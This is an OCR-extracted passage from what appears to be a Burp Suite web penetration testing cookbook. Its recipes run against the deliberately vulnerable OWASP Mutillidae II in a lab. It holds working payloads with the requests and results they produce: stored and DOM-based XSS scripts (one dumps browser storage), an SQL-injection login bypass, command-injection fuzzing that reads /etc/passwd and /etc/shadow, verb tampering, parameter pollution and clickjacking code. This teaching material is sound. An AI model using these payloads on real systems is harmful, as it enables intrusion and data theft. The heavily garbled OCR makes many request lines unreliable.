4. While Proxy | Interceptor has the request paused, insert the new payload of

<script>alert (1) ; </script> immediately following the verbiage you added
to the blog:

[Targei T Proxy T Spider T Scanner ] Intruder I Repeater I Sequencer T Decoder I Comparer T Extender I Project options I User options. T Alerts W
_[ inte
w Request to http://192.168.56.101:80

L Forward J [ Drop J { Intercept is on W Action

Raw | Params Headers Hex

ot | HTTP history | webSockets history | options |

POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:€l.0) Gecko/Z0l00101 Firefox/81.0

Accept: text/html, application/xhtmltxnl, application/xml;q=0.9, %*/*;¢=0.8

Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Referer: http://152.1€8.56.101/matillidae/index. php?page=add-to-your-blog. phpépopUpNotificationCode=5UD1
Content-Type: application/x-www-form-urlencoded
Content-Length: S5

Cookie: showhints=1l; PHPSESSID=dl745bornc0%wm4dinjvimdlesl;
Connection: close

Upgrade-Insecure-Requests: 1

acopendivids=swingset ,jotto,phpbbl,rednine; acgroupswithpersist=nada

csrf-token=&blog_ent ry=This+1s+my+hlcg+entr)i<scr:.p\:>a.l.ert (1) ;</script>Eadd—to—your—blD:J—]:h]:—su]:mit—hutto:n=5aveIEloq+Entry
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5. Click the Forward button. Turn Interceptor off by toggling to Intercept is off.
6. Return to the Firefox browser and see the pop-up alert box displayed:

7. Click the OK button to close the pop-ups. Reload the page and you will see the
alert pop-up again. This is because your malicious script has become a
permanent part of the page. You've successfully shown a proof of concept (PoC)
for the stored XSS vulnerability!

How it works...

Stored or persistent XSS occurs because the application not only neglects to sanitize the
input but also stores the input within the database. Therefore, when a page is reloaded and
populated with database data, the malicious script is executed along with that data.
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Testing for HTTP verb tampering

HTTP requests can include methods beyond GET and POST. As a penetration tester, it is
important to determine which other HTTP verbs (that is, methods) the web server allows.
Support for other verbs may disclose sensitive information (for example, TRACE) or allow
for a dangerous invocation of application code (for example, DELETE). Let's see how Burp
can help test for HTTP verb tampering.

Getting ready

Using OWASP Mutillidae II, let's determine whether the application allows HTTP verbs
beyond GET and POST.

How to do it...

1. Navigate to the homepage of OWASP Mutillidae II.

2. Switch to Burp Proxy | HTTP history and look for the HTTP request you just
created while browsing to the homepage of Mutillidae. Note the method used is
GET. Right-click and send the request to Intruder:

[ Target I Proxy T Spider I Scanner 1 Intruder T Repeater I Sequencer T Decoder I Comparer T Extender T Project options. ] User options T Alerts ]

Intercept | HTTP history T WebSockets history I Options ]

e [oomae]

| Fitter: Hiding CSS, image and general binary content

# A Host | Method || URL | Params | Edited Status | Length | MIME type | Extension Title
[ http://192.168.56.101 GET Imutilidae/index phpZ?page=home phps. . v 200 46441 HTML php
<

Request | Response
Raw ParamsIHeaders Hex

GET /mutillidae/index.phplpage=home.phpipopUplotificationCode=HPHD HTTP/1.1

Host: L19Z.1€8.5E.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé&4; x64; rv:£1.0) Gecko/Z01l00101 Firefox/E1.0

Acecept: text/html,application/xhtml+yml, application/xml;gq=0.9,*/*;¢q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.1668.56.101/mutillidae/index.php?page=home.phpapopUpliotificationCode=HPHO

Cookie: showhints=l; PHPSESSID=dl74SbornolSvmn4dinivdnSlcsZ; acopendivids=swingset,jotto,phpbbl,redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1
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3. In the Intruder | Positions tab, clear all suggested payload markers. Highlight
the GET verb, and click the Add $ button to place payload markers around the
verb:

Target | Proxy | Spider I Scanner ] Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options. i User options. TAler& ]

1 3 |2l ...
[Target Positions | Payloads TOpt»ons]

@ Payload Positions

Configure the positions where payloads will be inserted into the base reguest The attack type determines the way in which payloads are assigned to payload positions - see help for full def

Attack type: | Sniper

Lsc.ns [mum‘uidae/mdex.php?page=homa.phpapapUpMoci ficationCode=HPHO HTTP/1.1
ost: 1592.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:€1.0) GCecko/Z0100101 Firefox/€l1.0

Accept: text/html,application/xhtmltxml,application/xml;q=0.9,%/%;¢q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.1€8.5E.101/nutillidae/index.php?page=hone.phpipopUpNotificationCode=HPHD

Cookie: showhints=1; PHPSESSID=dl174Eborno0Svndjnjvdm9les?; acopendivids=swingset,jotto,phpbbl, redmine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

4. In the Intruder | Payloads tab, add the following values to the Payload Options
[Simple list] text box:
e OPTIONS

e HEAD

e POST

e PUT

e DELETE

o TRACE

¢ TRACK

e CONNECT
¢ PROPFIND
e PROPPATCH
¢ MKCOL

o COPY
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@ Payload Options [Simple list]

This payload type letz you configure a simple list of strings that are used as payloads.

Pa=te OFTIONS h
HEAD

Load ... POST

PUT

DELETE >
TRACE

Clear TRACK

CONNECT

PROPFIND (v

A

m

nter e

o
o
1]

E IR

| Add from st .. v

5. Uncheck the Payload Encoding box at the bottom of the Payloads page and then
click the Start attack button.
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6. When the attack results table appears, and the attack is complete, note all of the
verbs returning a status code of 200. This is worrisome as most web servers
should not be supporting so many verbs. In particular, the support for TRACE
and TRACK would be included in the findings and final report as

vulnerabilities:

‘4| 1itrudaer attacK |

Atftack Save Columns

_[ Results T Target T Positions T Payloads I Options ]

Fiter: Showing all tems

Reguest 4 | Payload Status | Error
0 200 0|
1 OPTIONS 200 O
2 HEAD 200 |
3 POST 200 |
4 PUT 200 |
£ DELETE 200 |
6 TRACE 200 O
7 TRACK 200 0|
8 CONNECT 400 |
9 PROPFIND 200 |
10 PROPPATCH 200 O
11 MKCOL 200 O
12 COPY 200 L

How it works...

Testing for HTTP verb tampering includes sending requests against the application using
different HTTP methods and analyzing the response received. Testers need to determine
whether a status code of 200 is returned for any of the verbs tested, indicating the web

server allows requests of this verb type.
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Testing for HTTP Parameter Pollution

HTTP Parameter Pollution (HPP) is an attack in which multiple HTTP parameters are sent
to the web server with the same name. The intention is to determine whether the
application responds in an unanticipated manner, allowing exploitation. For example, in a
GET request, additional parameters can be added to the query string—in this

fashion: “sname=value”—where name is a duplicate parameter name already known by
the application code. Likewise, HPP attacks can be performed on POST requests by
duplicating a parameter name in the POST body data.

Getting ready

Using OWASP Mutillidae II, let's determine whether the application allows HPP attacks.

How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP 2013
| Al - Injection (Other) | HTTP Parameter Pollution | Poll Question:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) NotLogged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1l - Injection (SQL)
A1l - Injection (Other) HTML Injection (HTMLI)

OWASP 2010

A2 - Broken Authentication and HTMLIi via HTTP Headers

OWASP 2007 Session Management
HTMLI Via DOM Injection

i A3 - Cross Site Scripting (XSS
Web Services pting (XSS) HTMLI Via Cookie Injection

A4 - Insecure Direct Object

References Frame Source Injection

Others AS - Security Misconfiguration Command Injection

JavaScript Injection

Documentation A6 - Sensitive Data Exposure

HTTP Parameter Pollution | Poll Question
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2. Select a tool from one of the radio buttons, add your initials, and click the Submit

Vote button:

User Poll

[
C—Q Back

User Poll

Q Help Me!

Hints

[ Choose Your Favorite Security Tool

)

Initial your choice to make your vote count

nmap
wireshark
tecpdump
netcat
metasploit
kismet
Cain
Ettercap
Paros
Burp Suite
Sysinternals
inSIDDer

Your Initials:[sw

O000OO0O0O0O0O0O00O®

[ No choice selected

3. Switch to the Burp Proxy | HTTP history tab, and find the request you just
performed from the User Poll page. Note the parameter named choice. The
value of this parameter is Nmap. Right-click and send this request to Repeater:
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- Proxy | Spider | Scanner I Intruder I Repeater T Sequencer I Decoder I(:nmpurer Ibdender I Project options. T User options | Alerts

[ Intercept I HTTP history T WebSockets history I Options }

e Proxy traffic is disabled | Re-enable

Filter: Hiding CSS, image and general binary content

# &|Host | Method | URL | Params |Edted | Status |Length | MMEtype |Extension | Ttle
i hittp://192.168.56.101 GET ILphpacsrt. ice=n.. v 200 49085 HTML php
[EAS =

Reguest | Response
Raw | Params I Headers. El

GET {m\ltilli:‘laz/im‘leﬂ.1xllp?pﬂtje:user'1)ull.1)111:&cs:t-cul.’en:sl‘huice=mna]:iinicials=3iléuser-lzoll'php-suhnic-lmccon:.‘iuhmxcHiote HITP/L. L
[Host: 182.1£8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x€4; rv:€l.0) Cecko/20100101 Firefox/El.0
Accept: text/heml,application/xhemlixml,application/xnl;q=0.9,*/%;q=0.8

Accept-Language: en-US,en;q=0.5

[Accept-Bncoding: gzip, deflate

Referer: heep://190.168.56.101/mutillidae/index. php?page=user-poll.php

Cockie: showhints=1; PHPSESSID=dl74Shorno0SvndinjvindlesZ; acopendivids=swingset,jotto,phpbbl,redmine; acgroupswithpersist=nadal
Connection: close

Send to Spider
Do an active scan
Do a passive scan

[Upgrade-Insecure-Requests: 1 Send to Intruder

Send to Repeater

4. Switch to the Burp Repeater and add another parameter with the same name to
the query string. Let's pick another tool from the User Poll list and append it to
the query string, for example, “schoice=tcpdump”. Click Go to send the request:

[ Target T Proxy T Spider I Scanner T Intruder TRepeﬁter T Seguencer I Decoder T Comparer I Extender T Project options I

1 = | ..
Go Cancel < | >

Request

_[ Raw T Params T Headers T Hex ]

GET
,-‘mutillidaefindex.php’?page=user—pc-ll.1:-111).Ecsrf—tnken=&chuice=nmap&initials=5"ﬂ'.E
user-poll-php-subnit-button=Subnit+Vote HTTP/L1l.1

Host: 192_168_5&.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4; rv:El.0) Gecko/IZ0100101 Firefox/el.0
Accept: text/html,application/xhtml+txzml, application/xnl;q=0.9,*/*;q=0.8

Accept-Lancuage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://Ll52_168.58.101l/mutillidas/index.php?page=user-poll.php

Cookie: showhints=1; PHPSESSID=dl745hornolSvndinivinSlesZ;

acopendivids=swingset ,jotto,phphhl, redunine; acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Reguests: 1
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5. Examine the response. Which choice did the application code accept? This is easy
to find by searching for the Your choice was string. Clearly, the duplicate
choice parameter value is the one the application code accepted to count in the
User Poll vote:

Response

jRawT Headers T Hex I HTHML I Render ]

</td>
</tr>
<tr>
<td class="label">
Your Imitials:<input type="text" name="initials"
ParameterPollutionInjectionPoint="1" wvalue="SW"/*>

</td>
/x>
“trx<tdr</cd></cr>
<tr>

<td style="text-align:center;">
<input name="user-poll-php-subnit-button" class="button"
type="subnit" wvalue="Submit Vote" />
</td>
</tr>
<tr=<tdr</tdr</tr>
<trr<tdr</tdr</tr>
<tr>
<td class="report-header" Reflected<{S5S5ExecutionPoint="1">
Phur choice was tcpdumpl </td=>

</tr>
</tcable>
</ form>
<ffieldset>

<script type="text/Jjavascript">

tryi

document . getElementById("id choice").focus();
tcatch(e)l

alert('Error trying to set focus on field choice: ' + e message);
V// end try

</seript>

<div>&nbsp; </div>

<div>&nbsp; </div>

<fieldset>

<legend>CSRF Protection Information</legend>

<table style="margin-left:auto; margin-right:auto;">

<tr><tdr</cd></tr>

<tr><td class="report-header">Posted Token: <hr/>(Validation mnot performed)</td></tr>

T LZJ LJ EJ IYIJLIfChDiCE was I
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How it works...

The application code fails to check against multiple parameters with the same name when
passed into a function. The result is that the application usually acts upon the last
parameter match provided. This can result in odd behavior and unexpected results.

Testing for SQL injection

A SQL injection attack involves an attacker providing input to the database, which is
received and used without any validation or sanitization. The result is divulging sensitive
data, modifying data, or even bypassing authentication mechanisms.

Getting ready

Using the OWASP Mutillidae II Login page, let's determine whether the application is
vulnerable to SQL injection (SQLi) attacks.

How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP 2013
| Al-Injection (SQL) | SQLi - Bypass Authentication | Login:

@« OWASP Mutillidae Il: Web Pwn in Mass Production

Hints: Enabled (1 - 5cr1pt K1dd1e)

Not Logged In

Version: 2.6.24  Security Level: 0 (Hosed)
Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1l - Injection (SQL) » SQLi - Extract Data = = =
‘ ETED T A1 - Injection (Other) ¥ | SQLi - Bypass Authentication » | Login
2. At the Login screen, place invalid credentials into the username and password
text boxes. For example, username is tester and passwordis tester. Before

clicking the Login button, let's turn on Proxy | Interceptor.
3. Switch to the Burp Proxy | Intercept tab. Turn the Interceptor on by toggling

to Intercept is on.
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4. While Proxy | Interceptor has the request paused, insert the new payload of '
or 1=1--<space> within the username parameter and click the Login button:

[ Target I Proxy 1 Spider T Scanner I Intruder I Repeater 1 Sequencer ] Decoder T Comparer T Extender I Project options T User options T Alerts 1

| [ otereent | HTTP nistory | websSockets nistory | options |

[#) Request to http:1/192.168.56.101:80
[ Forward J | Drop J | Intercept is on | Action

Raw | Params | Headers | Hex

POST /mutillidae/index. php?page=login.php HTTP/L.1

[Host: 1SZ.168.5€.101

[User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined4; x&4; rv:6l.0) Geclko/IZ0100101 Firefox/el.0
Accept: text/html,application/xhtml+txml,application/xml;q=0.9,*%/*;q=0.8

[Accept-Language: en-US,en;q=0.5

[Accepr-Encoding: gzip, deflate

Peferer: http://1l92.1608.5€.101/mutillidae/index.php?page=login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: &1

Cookie: showhints=1; PHPSESSID=dl745borno0Svn4jnjvimdlesl; acopendivids=swingset,jotto,phpbbl, rednine; acgroupswithpersist=nada
Connection: close

[Upgrade-Insecure-Recquests: 1

jusername=test e&passwor:'l=r.e§\:er&loqin—php-sLﬂ:mlc-hL\tcun:Lchln

5. Click the Forward button. Turn Interceptor off by toggling to Intercept is off.
6. Return to the Firefox browser and note you are now logged in as admin!

How it works...

The tester account did not exist in the database; however, the ' or 1=1--

<space> payload resulted in bypass the authentication mechanism because the SQL code
constructed the query based on unsanitized user input. The account of admin is the first
account created in the database, so the database defaulted to that account.
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There's more...

We used a SQLi wordlist from wfuzz within Burp Intruder to test many different payloads
within the same username field. Examine the response for each attack in the results table to
determine whether the payload successfully performed a SQL injection.

The construction of SQL injection payloads requires some knowledge of the backend
database and the particular syntax required.

Testing for command injection

Command injection involves an attacker attempting to invoke a system command,
normally performed at a terminal session, within an HTTP request instead. Many web
applications allow system commands through the UI for troubleshooting purposes. A web-
penetration tester must test whether the web page allows further commands on the system
that should normally be restricted.

Getting ready

For this recipe, you will need the SecLists Payload for Unix commands:

e SecLists-master | Fuzzing | FUZZDB_UnixAttacks.txt

e Download from GitHub: nttps://github.com/danielmiessler/
SecLists

Using the OWASP Mutillidae II DNS Lookup page, let's determine whether the application
is vulnerable to command injection attacks.
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How to do it...

1. From the OWASP Mutilliae II menu, select DNS Lookup by navigating to
OWASP 2013 | Al-Injection (Other) | Command Injection | DNS Lookup:

@i OWASP Mutillidae Il: Web Pwn in Mass Production

Hints: Enabled (1 - 5¢cript K1dd1e)

Version: 2.6.24  Security Level: 0 (Hosed) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1 - Injection (SQL)
A1l - Injection (Other) HTML Injection (HTMLI)

Pen-Testing Applicati

OWASP 2010
A2 - Broken Authentication and HTMLi via HTTP Headers

OWASP 2007 Session Management

HTMLi Via DOM Injection

i A3 - Cross Site Scripting (XSS
U S pting (XSS) HTMLI Via Cookie Injection

A4 - Insecure Direct Object

linelb e References

Frame Source Injection

Others A5 - Security Misconfiquration Command Injection » | DNS Lookup

2. On the DNS Lookup page, type the IP address 127.0.0. 1 in the text box and
click the Lookup DNS button:

( DNS Lookup |

<@ Back e Help Me!

Hints
f—L\,
A‘Ax Switch to SOAP Web Service Version of this Page

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP [127.00.1

Lookup DNS
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3. Switch to the Burp Proxy | HTTP history tab and look for the request you just
performed. Right-click on Send to Intruder:

Target | Proxy | Spider | Scanner Tntruder Tnepeater T Sequencer T Decoder I Comparer T Extender T Project options T User options | Alerts

[ ntercept | HTTRhistory | websocets history | optons |

Filter: Hiding CSS, image and general binary content

[+ & Host | Wethos | URL |Params | Edted | Status | Length | MMEtype | Extension | Title
14 hitp:i192.168.56.101 | rost il 2 lookup.php v 200 48770 HTML pho |
=] =

Reguest | Response
Raw Paramslﬂeaders Hex

POST /mucillidae/index.php?page=dns-lookup.php HTTP/1.1
Host: 192.168.56.101

[User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:6l.0) Gecke/Z0Ll00101 Firefox/61.0
jAiccept: text/heml, application/xhemltxml, application/xml;q=0.5,*/*;q=0.8
ccept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Deferer: hrtp://192.168.5&_101/mucillidae/index.phplpage=dns-Lloalkup.php Send to Spider

Content-Type: application/x-www-form-urlencoded .

Content-Length: €l IS

Cookie: showhints=l; username=admin; uidsl; PHPSESSID=dl745borno0Svndjnjvdand Do a passive scan to,phpbb”, reduine; acgroupswithpersist=nada

Connection: close
Upgrade-Insecure-Requests: 1

Send fo Repeater Cirl«R

target_host=127.0.0. lédns-lookup-php-subnit-button=Lookup+DNS Send to Sequencer

4. In the Intruder | Positions tab, clear all suggested payload markers with the
Clear $ button. In the target_host parameter, place a pipe symbol (|)
immediately following the 127.0.0. 1 IP address. After the pipe symbol, place
an X. Highlight the x and click the Add $ button to wrap the X with payload
markers:

[ Target [ Postions | Payiosds | optons |

() Payload Positions e—

Configure the postions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for ful details

Attack type: | Sniper =

POST /mutillidae/indes.phpipage=dns-lockup.php HTTR/L.L Y Adds
Host: 192.160.56.101 ——
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; xéd; rv:6l.0) Gecko/20100101 Firefox/£1.0

Accept: text/html,application/shtmlésxml, application/mml;q=0.8,%/%;q=0.0 Clear §
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gaip, detlate Auto §
Referer: hetep://192.168.56.101/mutillidas/index. php?pagesdns-lookup. php

Content-Type: application/x-www-form-urlencoded Refresh

Content-Length: &1

Cookie: showhints=1; username=admin; uid=1; PHPSESSID=d1745borno0SvndjnjvimSlesZ; acopendivids=swingset,jotto,phpbbl, redmine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: L

‘target_host| 0118 5= 1oolrup-php i Irup
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5. In the Intruder | Payloads tab, click the Load button. Browse to the location
where you downloaded the SecLists-master wordlists from GitHub. Navigate to
the location of the FUZZDB_UnixAttacks.txt wordlist and use the following to
populate the Payload Options [Simple list] box: SecLists-master |Fuzzing |
FUZZDB_UnixAttacks.txt

4 Payload Options [Simple lisf]

Thiz payload type lets vou configure a simple list of strings that are uzed as payloads.

| Paste *00 -
o004 00 0 ) tetc/passwd
| Load %00 100 11 tetc/shadow
Ne00/
| Remove Yell/etc/passwd e 00 -
%e01%02%03%04% 0a % 0d% 0aADSF
| Clear i
YelA/usrbindd
YeladusrbindidYe 04 L 4
| Add Enter a new item
| Add from list . v|

6. Uncheck the Payload Encoding box at the bottom of the Payloads tab page and
then click the Start Attack button.

7. Allow the attack to continue until you reach payload 50. Notice the responses
through the Render tab around payload 45 or so. We are able to perform
commands, such as id, on the operating system, which displays the results of the
commands on the web page:
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Attack Save Columns

O

[ Resus | arget | posiions | Payioads | options |

‘ Fiter: Showing all tems

Request 4 | Payload | Status | Error | Timeout | Length | Comment
42 %00/etc/passwd%00 200 ()] O 48730

43 %01%02%03%04%0a%0d%0aADSF 200 @] @] 48728

44 %08x 200 ] @] 48719

|45 9% 0AJusr/binfid 200 8] (] 48783 |

46 %0A/uSIbin/id%0A 200 (0] @] 48784

47 %0Aid 200 a O 48774

43 %0AId%0A 200 ] O 48775

o

[ Raw I Headers | Hex | HTML I Render ]

B Error: Invalid Input
Who would you like to do a DNS lookup
) o5
L A Enter IP or hostname
Project Whitepaper
Hostname/IP
’ Lookup DNS
Release
Announcements Results for 127.0.0.1 | /usr/bin/id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Yo
[T

How it works...

Failure to define and validate user input against an acceptable list of system commands can
lead to command injection vulnerabilities. In this case, the application code does not
confine system commands available through the Ul, allowing visibility and execution of
commands on the operating system that should be restricted.
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Attacking the Client

In this chapter, we will cover the following recipes:

e Testing for Clickjacking
Testing for DOM-based cross-site scripting
Testing for JavaScript execution

Testing for HTML injection

Testing for client-side resource manipulation

Introduction

Code available on the client that is executed in the browser requires testing to determine
any presence of sensitive information or the allowance of user input without server-side
validation. Learn how to perform these tests using Burp.

Software tool requirements

To complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)
o OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
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Testing for Clickjacking

Clickjacking is also known as the Ul redress attack. This attack is a deceptive technique
that tricks a user into interacting with a transparent iframe and, potentially, send
unauthorized commands or sensitive information to an attacker-controlled website. Let's
see how to use the Burp Clickbandit to test whether a site is vulnerable to Clickjacking.

Getting ready

Using the OWASP Mutillidae II application and the Burp Clickbandit, let's determine
whether the application protects against Clickjacking attacks.

How to do it...

1. Navigate to the Home page of the OWASP Mutillidae II.
2. Switch to Burp, and from the top-level menu, select Burp Clickbandit:

gl Intruder Repeater Window Help

Search
Save copy of project

=t [dizk nroiects on

Rename project

Project options >
User options >
Paszwords >

Burp Infittrator

Burp Clickbandit

Burp Collaborator client
Save legacy state file
Restore legacy state file

Exit
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3. A pop-up box explains the tool. Click the button entitled Copy Clickbandit to
clipboard:

@ Burp Clickbandit

Burp Clickbandit is a tool for generating clickjacking attacks. When you have found a web page that may be vulnerable to clickjacking, you can use Burp
Clickbandi to create an attack, and confirm that the vulnerability can be successfully exploited.

Burp Clickbandit runs in your browser using JavaScript. & works on all modern browsers except for Microsoft IE and Edge. To run Burp Clickbandit, use the
following steps:

1. Click the "Copy Clickbandit to clipboard™ button below. This will copy the Clickbandit script to your clipboard.

2. In your browser, visit the web page that you want to test, in the usual way.

3. In your browser, open the web developer console. This might alse be called "developer tools™ or "JavaScript console™
4. Paste the Clickbandit script into the web developer console, and press enter.

See the documentation for more details on using Burp Clickbandit.

| copy Ciickbandt to cipboard J“ Chose |

4. Return to the Firefox browser, and press F12 to bring up the developer tools.
From the developer tools menu, select Console, and look for the prompt at the

bottom:
5 =y
Release o
PHP MyAdmin Console Feature Requests
Announcements PiiA - 7 )i

Vau | i
[@ T3 inspector [J Console (O Debugger {} StyleEditor (G Performance £k Memory = Network & Storage <3 DOM B - x
W § Filter output [ Persist Logs

A The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the index.php
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5. At the Console prompt (for example, >>), paste into the prompt the Clickbandit
script you copied to your clipboard:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Toggle Security Enforce SSL Reset DB View Log View Captured Data

Home Login/Register Toggle Hints Show Popup Hints

[ Mutillidae: Deliberately Vulnerable Web Pen-Testing Application ]

OWASP 2010 »

I el mma NEE
@ 3 Inspector [J Console [ Debugger {} StyleEditor (G Performance £k Memory = Network & Storage <> DOM B e

D T TR PR N

W ¥ Filter output [Jpersist Loc

& The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if index.php
the document contains characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in
the transfer protocol.

/* Copyright PortSwigger Ltd. All rights reserved. Usage is subject to the Burp Suite license terms. See https://portswigger.net for more details. */
Ifunction(){
var initialZoomFactor = '1.8', win, doc, width, height, clicks = [];
function addClickTrap(element, minusY) {
var clickTrap = doc.createElement('div’), cords = findPos(element);
clickTrap.style.backgroundCelor = 'none';
clickTrap.style.border = 'none’;
clickTrap.style.position = 'absolute’;
clickTrap.style.left = cords[@] + 'px’;
clickTrap.style.top = cords[1] + "px';
clickTrap.style.width = element.offsetwidth + 'px';
clickTrap.style.height = element.offsetHeight + "px';
if(element.zIndex || element.zIndex === '@') {
clickTrap.style.zIndex = +element.zIndex+1;
}
clickTrap.style.opacity = '@.5';
clickTrap.style.cursor = 'pointer';
clickTrap.clickTrap = 1;
clickTrap.addEventListener('click', function(e) {
generatePoc({x:e.pageX, y: minusY?e.pageY-minusY : e.page});
e.preventDefault();
e.stopPropagation();
return false;
}, true);
doc .body . appendChild(clickTrap);
}
function addMessage(msg) {
var message = document.createElement('div');

maceama etula widbh = '100%' -

6. After pasting in the script into the prompt, press the Enter key. You should see
the Burp Clickbandit Record mode. Click the Start button to begin:

192.168.56.101/mutillidae/index.php?page=home.php&paopU; e
&« c @ @ 192.168.56.10 illidae/index.php?page=home.php&poy O W m @ |

B4 BURPCLICKBANDIT Oisandbox iframe? - Fien. Record mode

[ Disable click actions|

[250]



Attacking the Client Chapter 9

7. Start clicking around on the application after it appears. Click available links at
the top Mutillidae menu, click available links on the side menu, or browse to
pages within Mutillidae. Once you've clicked around, press the Finish button on
the Burp Clickbandit menu.

8. You should notice big red blocks appear transparently on top of the Mutillidae
web pages. Each red block indicates a place where a malicious iframe can appear.
Feel free to click each red block to see the next red block appear, and so on:

E1 BURPCLICKBANDIT ' @

Web Pwn in Mass Production

Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

y Vuinerable Web PR TOORAGRIONE e

tillidae? Check out how to help

9. Once you wish to stop and save your results, click the Save button. This will save
the Clickjacking PoC in an HTML file for you to place inside your penetration
test report.

How it works...

Since the Mutillidae application does not make use of the X-FRAME-OPTIONS header set
to DENY, it is possible to inject a malicious iframe in to the Mutillidae web pages. The
Clickbandit increases the level of opaqueness of the iframe for visibility and creates a proof
of concept (PoC) to illustrate how the vulnerability can be exploited.
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Testing for DOM-based cross-site scripting

The Document Object Model (DOM) is a tree-like structural representation of all HTML
web pages captured in a browser. Developers use the DOM to store information inside the
browser for convenience. As a web penetration tester, it is important to determine the
presence of DOM-based cross-site scripting (XSS) vulnerabilities.

Getting ready

Using OWASP Mutillidae I HTML5 web storage exercise, let’s determine whether the
application is susceptible to DOM-based XSS attacks.

How to do it...

1. Navigate to OWASP 2013 | HTML5 Web Storage | HTML5 Storage:

@« OWASP Mutillidae 1l: Web Pwn in

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cr1

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

| HTML 5 Storag

OWASP 2007 » <® Back e Help Me!
Web Services 4

HTML 5 Web Storage » | HTMLS Storage
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2. Note the name/value pairs stored in the DOM using HTML5 Web Storage
locations. Web storage includes Session and Local variables. Developers use
these storage locations to conveniently store information inside a user's browser:

( HTML 5 Storage
<@ Back Q Help Me!
Hints \
[ HTML 5 Web Storage )
Web Storage
Key ” Item ” Storage Type
AuthorizationLevel 0 Session

LocalStorageTarget This is set by the index.php page Local
MessageOfTheDay Go Cats! Local

( ( ® Session CLocal

@ Session Storage g Local Storage g All Storage

3. Switch to the Burp Proxy Intercept tab. Turn Interceptor on with the button
Intercept is on.

4. Reload the HTML 5 Web Storage page in Firefox browser by pressing F5 or
clicking the reload button.
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5. Switch to the Burp Proxy HTTP history tab. Find the paused request created by
the reload you just performed. Note that the User-Agent string is highlighted,
as shown in the following screenshot:

[Target T Proxy I Spider T Scanner T Intruder I Repeater T Sequencer I Decoder I Comparer T Extender T Project options T User options ] Alerts. 1

J,W

w Request to http://192.168.56.101:80

{ Forward J l Drop J intercept is on Action
Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=htmlS-storage.php HTTP/1.1

Host: 197 168 .‘S_E, 101

Fser—.kgent: Mozilla/5.0 (Windows NT 10.0; Wing4; x£4; rv:6l.0) Gecko/20100101 Firefox/61.0 |
Accept: text/html,application/xhtmltxml,application/xnl;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer:

ot | Hre nistory | websockets nistory | options |

htep: //192.168_56.101/mutillidae/index.php?page=password-generator.phpfusername =anonymous
Cookie: showhints=1l; PHPSESSID=9jsmunl7vsnOmfe70ffvivelkvl;
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

acopendivids=swingset,jotto,phpbbl,redmine; acgroupswithpersist=nada

6. Replace the preceding highlighted User-Agent with the following script:

<script>try{var m = "";var 1 = window.localStorage; var s =
window.sessionStorage; for (i=0;i<l.length;i++) {var 1lKey = l.key(i);m
+= 1lKey + "=" 4+ l.getItem(lKey) +

";\n";}; for(i=0;i<s.length;i++) {var 1lKey = s.key(i);m += lKey + "="
+ s.getItem(lKey) +

";\n"; };alert (m); tcatch(e) {alert (e.message); }</script>

7. Click the Forward button. Now, turn Interceptor off by clicking the toggle button
to Intercept is off.

8. Note the alert popup showing the contents of the DOM storage:
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How it works...

LocalStorageTarget=This is set by the index.php page;
MessageOfTheDay=Go Cats!;
Secure.CurrentStateofHTMLEStorage=Completely Insecure;
Secure.IsUserLoggedIn?=No;
Secure.AuthenticationToken=DUB37HHFYTEYUE9S1934;
SessionStorageTarget=This is set by the index php page;
AuthorizationLevel=0;

The injected script illustrates how the presence of a cross-site scripting vulnerability
combined with sensitive information stored in the DOM can allow an attacker to steal

sensitive data.
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Testing for JavaScript execution

JavaScript injection is a subtype of cross-site scripting attacks specific to the arbitrary
